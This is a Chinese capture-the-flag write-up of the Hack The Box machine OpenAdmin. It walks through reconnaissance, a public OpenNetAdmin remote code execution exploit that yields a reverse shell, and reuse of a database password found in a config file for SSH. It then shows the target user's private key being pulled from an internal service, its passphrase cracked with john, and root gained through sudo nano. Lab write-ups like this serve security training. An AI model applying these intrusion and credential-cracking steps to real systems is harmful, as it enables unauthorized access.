实验环境

渗透过程

0x01 信息搜集

sudo nmap -sS -p1-10000 -sV -sC -T4 10.10.10.171

开放了22(SSH)端口和80(HTTP)端口

访问80端口,发现是apache的默认页面:

使用DIrBuster进行目录扫描:

扫到了两个目录/music、/ona。

访问http://10.10.10.171/music/,发现是一个普通的web服务页面。

访问http://10.10.10.171/ona/,发现是OpenNetAdmin的后台页面。

值得关注的信息是:OpenNetAdmin Version = v18.1.1

查找可以利用的漏洞:

0x02 开干

GetShell

发现Metasploit中有可利用的破解工具,尝试进行利用:

发现提示利用成功,但没有建立会话。

尝试使用sh文件,运行命令searchsploit -m 47691将该sh文件下载到当前目录,运行

由于这个shell可能是在win下编写的,所以换行格式与Linux不同,运行后无法解析,使用命令dos2unix ./47961.sh 把文件转成unix下可执行文件就可以正常运行。

脚本反弹了shell。

这里也可以上传一句话木马,使用蚁剑进行连接,获得shell。

user.txt

经过测试发现,当前用户是www-data,不能执行cd命令离开当前目录。

nmap结果可以看到靶机还开放了22端口,所以要找到可以登录ssh的用户以及密码。

查看该主机上的用户:

或者:

获得用户jimmyjoanna

继续查找信息:

$ find / -name config		// 查找相关配置文件
[OUTPUT]:
/opt/ona/www/config
/opt/ona/www/local/config
/var/www/html/marga/.git/config
/snap/core/7270/etc/kbd/config
/snap/core/7270/usr/lib/initramfs-tools/etc/dhcp/dhclient-enter-hooks.d/config

查看相关配置文件:

$ ls local/config
database_settings.inc.php
motd.txt.example
run_installer

查看database_settings.inc.php

$ cat local/config/database_settings.inc.php
[OUTPUT]:
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);

获得数据库密码,使用该密码登陆ssh。

登陆成功

查看jimmy可以访问的目录:find / -type d -user jimmy

/var/www/internal
/home/jimmy
/home/jimmy/.local
/home/jimmy/.local/share
/home/jimmy/.local/share/nano
/home/jimmy/.cache
/home/jimmy/.gnupg
/home/jimmy/.gnupg/private-keys-v1.d

查看相关信息

jimmy@openadmin:~$ ls /var/www/internal
index.php logout.php main.php

分析index.php代码。

<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>

代码显示如果username和passwd都正确,则会跳转到main.php页面。

分析main.php代码

<?php
session_start();
if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>

mian.php文件提示通过登录认证jimmy用户就会输出另一个用户joanna的rsa密钥,现在我们需要知道,这个服务运行在哪个端口上。

现在的问题就是如何Post这个url。直接在浏览器肯定不行,因为默认的路由就是 ona,肯定只能在这个SSH内部,结合这个目录名字internal。但最早我们扫端口只有80和22,接着我们再看一下jimmy用户本地启动的服务,3306不用说了,那大概率就是那个52846。

进行访问得到rsa密钥:

顺便找到了配置文件:

jimmy@openadmin:~$ cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846 <VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal <IfModule mpm_itk_module>
AssignUserID joanna joanna // 只允许joanna用户有权限权限执行php文件
</IfModule> ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>

浏览器打开访问提示连接失败。

ssh_key到手,直接连接jimmy这个账号之前我们还需要知道这个私钥的密码,使用john爆破。

第一步,将私钥复制到Kali本地。

第二步,利用 john 自带脚本转换格式为json

python /usr/share/john/ssh2john.py rsa > rsajson

ssh2john.py 的作用就是把 ssh 密钥 改成 john 可以识别的格式

第三步,使用 john 爆破

➜  Desktop sudo john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:11 DONE (2020-04-02 09:24) 0.08532g/s 1223Kp/s 1223Kc/s 1223KC/sa6_123..*7¡Vamos!
Session completed

密码为 bloodninjas

经尝试这个密码并不是joanna的ssh连接密码,而是利用密钥连接ssh时对私钥的验证密码。之后连接到joanna的ssh

提示权限错误,经过查阅资料,这里只要将密钥的权限改为600即可

得到user.txt

root.txt

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv

sudo -l命令显示用户Joanna可以无需密码使用nano去编辑/opt/priv这个文件。

直接sudo nano /opt/priv进入编辑器,Ctrl+R读取文件,输入文件路径即可查看所有root权限文件。

得到root.txt

HTB::OpenAdmin的更多相关文章

  1. 使用 IMQ+HTB+iptable 统一流量控制心得

    IMQ 是中介队列设备的简称,是一个虚拟的网卡设备,与物理网卡不同的是,通过它可以进行全局的流量整形,不需要一个网卡一个网卡地限速.这对有多个ISP接入的情况特别方便.配合 Iptables,可以非常 ...

  2. Optimizing shaper — hashing filters (HTB)

    I have a very nice shaper in my linux box :-) How the configurator works — it’s another question, he ...

  3. TC HTB r2q

    HTB: quantum of class 10001 is big. Consider r2q change. 根据HTB的官方文档显示,quantum是在可以“借”的情况下,一次可以“借”多少,并 ...

  4. Trafic control 大框图(HTB )

    10.1. General diagram Below is a general diagram of the relationships of the components of a classfu ...

  5. HTB Linux queuing discipline manual - user guide笔记

    1. Introduction HTB is meant as a more understandable, intuitive and faster replacement for the CBQ ...

  6. ROS HTB限速失败原因分析和需注意事项

    要想做限速,必须要知道以下几点: 首先要知道自己要限制什么的速度,谁的速度,于是需要用的标记,即Mangle. 其次要知道怎么限速,是限制上传,还是下载? 最后要知道所做的限速是否成功,即需要知道如何 ...

  7. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  8. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  9. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

随机推荐

  1. 性能调优必备利器之 JMH

    if 快还是 switch 快?HashMap 的初始化 size 要不要指定,指定之后性能可以提高多少?各种序列化方法哪个耗时更短? 无论出自何种原因需要进行性能评估,量化指标总是必要的. 在大部分 ...

  2. VS Code项目中共享自定义的代码片段方案

    VS Code项目中共享自定义的代码片段方案 一.问题背景 项目中注释风格不统一,如何统一注释风格 一些第三方组件库名称太长,每次使用都需要找文档,然后复制粘贴 部分组件库有自己的Snippets插件 ...

  3. css 那些使用小技巧(兼容性)

    1. inline-block 的兼容性问题 display:inline-block; *display:inline; *zoom:1; 2. Microsoft Edge 自动给数字加下划线 在 ...

  4. vscode 常用变量

    ${workspaceFolder} the path of the workspace folder that contains the tasks.json file ${workspaceRoo ...

  5. Linux下安装java环境

    准备工作: linux环境 xshell6 1.在Windows本地www,oracle.com下载对应的linux系统的JDK安装包,我下载的是 2.下载下来后,通过xftp远程传输到linux服务 ...

  6. C常见错误小记(未完)

    1.指针与NULL 下面这段代码会报错: { int *a = NULL; *a = ; printf("%d",*a); } 指针初始化为NULL,还是没有分配内存,所以会报错. ...

  7. 记一次mysql小版本升级

    最近护网操作比较紧,基线和漏洞检查比较频繁,新扫描出来的mysql漏洞需要修复,没有啥好的修复方法,只剩下升级版本这一条路,生产环境是5.7.12,二进制文件直接解压使用的,看了一下现在最新的版本,5 ...

  8. 微信小程序-页面跳转与参数传递

    QQ讨论群:785071190 微信小程序页面跳转方式有很多种,可以像HTML中a标签一样添加标签进行跳转,也可以通过js中方法进行跳转. navigator标签跳转 <view class=& ...

  9. 如何解决jeecgBoot前端运行项目之后无法获取验证码的问题

    我也是第一次接触这个开源项目,拿到项目之后,安装完环境和依赖,当我启动项目的时候,验证码却刷新不出来. 然后公司后端告诉我需要改两个接口,一个是public目录下的index.html和vue.con ...

  10. JavaWeb网上图书商城完整项目--验证码

    1.首先需要集成下面的jar 2.在web.xml配置验证码的servlet <?xml version="1.0" encoding="UTF-8"?& ...